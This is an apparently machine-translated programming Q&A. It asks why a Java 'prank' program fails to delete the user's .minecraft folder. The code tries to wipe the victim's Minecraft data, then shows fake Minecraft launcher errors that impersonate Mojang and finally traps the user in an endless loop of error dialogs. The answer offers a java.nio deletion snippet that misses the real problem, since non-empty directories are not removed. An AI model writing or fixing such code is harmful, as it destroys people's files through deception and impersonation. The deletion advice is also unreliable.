Question

我一直在寻找这个，但找不到任何东西。文件.minecraft不会删除。我已经尝试将其重命名为minecraft，但仍然无效。

import javax.swing.JOptionPane;

import java.io.File;

public class justaprankbro {

public static void main(String[] args){
    int x;

    File file = new File(System.getProperty("user.home") + "/AppData/Roaming/.minecraft");

    if(file.isHidden()){
        System.out.println("This file is hidden");
    }else{
        System.out.println("This file is not hidden");
    }


    if(file.delete()){
            System.out.println(file.getName() + " is deleted!");
    }else{
            System.out.println("Delete operation is failed.");
    }



    JOptionPane.showMessageDialog (null, "A new Minecraft Launcher was released" + "\nPlease click OK to update", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE);

    try {
        Thread.sleep(5000);                 //1000 milliseconds is one second.
    } catch(InterruptedException ex) {
        Thread.currentThread().interrupt();
    }

    JOptionPane.showMessageDialog (null, "Unable to start the Minecraft Runtime Environment. This is most " + "\nlikely caused by a corruption. Please press OK to auto-fix.", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE);

    try {
        Thread.sleep(3000);                 //1000 milliseconds is one second.
    } catch(InterruptedException ex) {
        Thread.currentThread().interrupt();
    }
    JOptionPane.showMessageDialog (null, "Error: 34; minecraft failed to start, please" + "\npress OK to backup files and reinstall", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE);

    for(x = 0; x < 1; x = 0){
        JOptionPane.showMessageDialog (null, "Fatal Error, please contact Mojang immidiately", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE);
    }
}

}

改为使用nio包：

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

Path p = Paths.get("/tmp/.minecraft");

if(!Files.exists(p)){
    Files.createFile(p);
}
if(Files.exists(p)){
    Files.delete(p);
}

Java：删除以“。”开头的文件。
